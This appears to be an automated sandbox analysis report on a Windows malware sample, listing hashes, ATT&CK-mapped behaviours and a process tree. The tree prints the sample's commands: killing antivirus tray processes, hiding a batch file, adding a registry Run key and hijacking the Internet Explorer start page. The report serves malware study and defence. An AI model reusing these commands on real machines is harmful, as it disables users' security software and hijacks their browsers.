c1a04b2637b1361d15fcd43cb7a1fb6e79e401ccaf8f08e5bc90661af4142c5e

Analysis

max time kernel
141s
max time network
102s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2024, 13:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b3bc6575c52bc13b94f4f7ee3cd6c0c7_JaffaCakes118.exe
Size

70KB
MD5

b3bc6575c52bc13b94f4f7ee3cd6c0c7
SHA1

f1b849ca6b195f1cdfd8e88ea812f101d872138a
SHA256

c1a04b2637b1361d15fcd43cb7a1fb6e79e401ccaf8f08e5bc90661af4142c5e
SHA512

e6adc23db0c227276f3bba8e1a6cea5a8ef1c002ba95b5a6bf5f2d003a2c2cf12ec9c80b22a93066b30b06f48f86b1262b861510b7407a024094fe93cb31be1d
SSDEEP

1536:PBoWdHaDLw7iJvu+gFEJah1B+ILaxQjqOK:yWdHaDfJvUiahO7xQjqOK

Score

8^/10

discovery evasion persistence

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	cmd.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2736	attrib.exe
2460	attrib.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\lin = "C:\\Windows\\system32\\WINUP.bat"	reg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WINUP.bat	attrib.exe
File created	C:\Windows\SysWOW64\WINUP.bat	cmd.exe
File opened for modification	C:\Windows\SysWOW64\WINUP.bat	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b3bc6575c52bc13b94f4f7ee3cd6c0c7_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4720	PING.EXE
3144	PING.EXE

Kills process with taskkill 3 IoCs

evasion

pid	Process
4860	taskkill.exe
1860	taskkill.exe
4684	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Default_Page_URL = "http://union.dianxin.cn/d.php?type=5&said=1008"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Default_Page_URL = "http://union.dianxin.cn/d.php?type=5&said=1008"	reg.exe

Modifies Internet Explorer start page 1 TTPs 2 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://union.dianxin.cn/d.php?type=5&said=1008"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://union.dianxin.cn/d.php?type=5&said=1008"	reg.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4720	PING.EXE
3144	PING.EXE

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4684	taskkill.exe
Token: SeDebugPrivilege	4860	taskkill.exe
Token: SeDebugPrivilege	1860	taskkill.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 2496	2124	b3bc6575c52bc13b94f4f7ee3cd6c0c7_JaffaCakes118.exe	84
PID 2124 wrote to memory of 2496	2124	b3bc6575c52bc13b94f4f7ee3cd6c0c7_JaffaCakes118.exe	84
PID 2124 wrote to memory of 2496	2124	b3bc6575c52bc13b94f4f7ee3cd6c0c7_JaffaCakes118.exe	84
PID 2496 wrote to memory of 4684	2496	cmd.exe	86
PID 2496 wrote to memory of 4684	2496	cmd.exe	86
PID 2496 wrote to memory of 4684	2496	cmd.exe	86
PID 2496 wrote to memory of 4860	2496	cmd.exe	88
PID 2496 wrote to memory of 4860	2496	cmd.exe	88
PID 2496 wrote to memory of 4860	2496	cmd.exe	88
PID 2496 wrote to memory of 1860	2496	cmd.exe	89
PID 2496 wrote to memory of 1860	2496	cmd.exe	89
PID 2496 wrote to memory of 1860	2496	cmd.exe	89
PID 2496 wrote to memory of 2736	2496	cmd.exe	93
PID 2496 wrote to memory of 2736	2496	cmd.exe	93
PID 2496 wrote to memory of 2736	2496	cmd.exe	93
PID 2496 wrote to memory of 2460	2496	cmd.exe	94
PID 2496 wrote to memory of 2460	2496	cmd.exe	94
PID 2496 wrote to memory of 2460	2496	cmd.exe	94
PID 2496 wrote to memory of 1032	2496	cmd.exe	95
PID 2496 wrote to memory of 1032	2496	cmd.exe	95
PID 2496 wrote to memory of 1032	2496	cmd.exe	95
PID 2496 wrote to memory of 4720	2496	cmd.exe	96
PID 2496 wrote to memory of 4720	2496	cmd.exe	96
PID 2496 wrote to memory of 4720	2496	cmd.exe	96
PID 2496 wrote to memory of 916	2496	cmd.exe	103
PID 2496 wrote to memory of 916	2496	cmd.exe	103
PID 2496 wrote to memory of 916	2496	cmd.exe	103
PID 2496 wrote to memory of 1780	2496	cmd.exe	104
PID 2496 wrote to memory of 1780	2496	cmd.exe	104
PID 2496 wrote to memory of 1780	2496	cmd.exe	104
PID 2496 wrote to memory of 3144	2496	cmd.exe	105
PID 2496 wrote to memory of 3144	2496	cmd.exe	105
PID 2496 wrote to memory of 3144	2496	cmd.exe	105
PID 2496 wrote to memory of 2296	2496	cmd.exe	121
PID 2496 wrote to memory of 2296	2496	cmd.exe	121
PID 2496 wrote to memory of 2296	2496	cmd.exe	121
PID 2496 wrote to memory of 4364	2496	cmd.exe	122
PID 2496 wrote to memory of 4364	2496	cmd.exe	122
PID 2496 wrote to memory of 4364	2496	cmd.exe	122

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2736	attrib.exe
2460	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b3bc6575c52bc13b94f4f7ee3cd6c0c7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b3bc6575c52bc13b94f4f7ee3cd6c0c7_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Users\Admin\AppData\Local\Temp\bt70246.bat "C:\Users\Admin\AppData\Local\Temp\b3bc6575c52bc13b94f4f7ee3cd6c0c7_JaffaCakes118.exe"
  2⤵
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im 360Tray.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4684
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im QQPCTray.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4860
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im QQPCMgr.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1860
- - C:\Windows\SysWOW64\attrib.exe
    attrib C:\Windows\system32\WINUP.bat +s +h +a +r
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2736
- - C:\Windows\SysWOW64\attrib.exe
    attrib C:\Windows\system32\WINUP.bat +s +h +a +r
    3⤵
    - Sets file to hidden
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2460
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v lin /t REG_SZ /d C:\Windows\system32\WINUP.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:1032
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 20
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4720
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://union.dianxin.cn/d.php?type=5&said=1008 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies Internet Explorer start page
    PID:916
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://union.dianxin.cn/d.php?type=5&said=1008 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:1780
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 120
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3144
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://union.dianxin.cn/d.php?type=5&said=1008 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies Internet Explorer start page
    PID:2296
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://union.dianxin.cn/d.php?type=5&said=1008 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:4364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\bt70246.bat

Filesize
8KB

MD5
7a99a8b1689c294c1bda19620adaffd3

SHA1
c8e9654e057005c8f4a7f20b7238649b18f98721

SHA256
e7ad5adb99800039fd97830ca796ce69eb651715e01a62b6e1d8fff5a50f5118

SHA512
1243016dbfa42a4a0c30241418144641e5a4e0c3fdb973c84a5effa9987f950312ac9b8fea99e4dcc83186eab670026e2d794f747513a793157cfb7d273e0f55

Download Submit
C:\Windows\SysWOW64\WINUP.bat

Filesize
70KB

MD5
b3bc6575c52bc13b94f4f7ee3cd6c0c7

SHA1
f1b849ca6b195f1cdfd8e88ea812f101d872138a

SHA256
c1a04b2637b1361d15fcd43cb7a1fb6e79e401ccaf8f08e5bc90661af4142c5e

SHA512
e6adc23db0c227276f3bba8e1a6cea5a8ef1c002ba95b5a6bf5f2d003a2c2cf12ec9c80b22a93066b30b06f48f86b1262b861510b7407a024094fe93cb31be1d

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
517B

MD5
90807193d396876a6a211ba312f47360

SHA1
316b9b8ad2775820740a08c42c39a12bc6ec83c3

SHA256
a33a28caf0db1427db2a5b25ee5421a28105493616bc0b81abd00327b33196dd

SHA512
54b7142b06bc0d844735bf49fa7716e8c00562b89fe3b551a4d09f740509fdcd05f7742c509752bdabec1261b60e5e324066a431fc25816e9749fc7b30e8602e

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
e001ee76ff96ad637bb5fe9b11d37c8a

SHA1
487c96649b5d4079767615c19bd9f4cffffd92fe

SHA256
2da48efd5bd484a5905d45ffb9cd1e94d3656704ad755ec62856a2693e25d209

SHA512
afd8b24b1f8c6be213a1a147fd36cc315983f400490a2d604c806c359ac6b8826cbad4a1505fc780f056fa7a77f5af6c4ea5affe1d9cd6ae5644ae08d7d0ceb7

Download Submit
memory/2124-109-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/2124-123-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads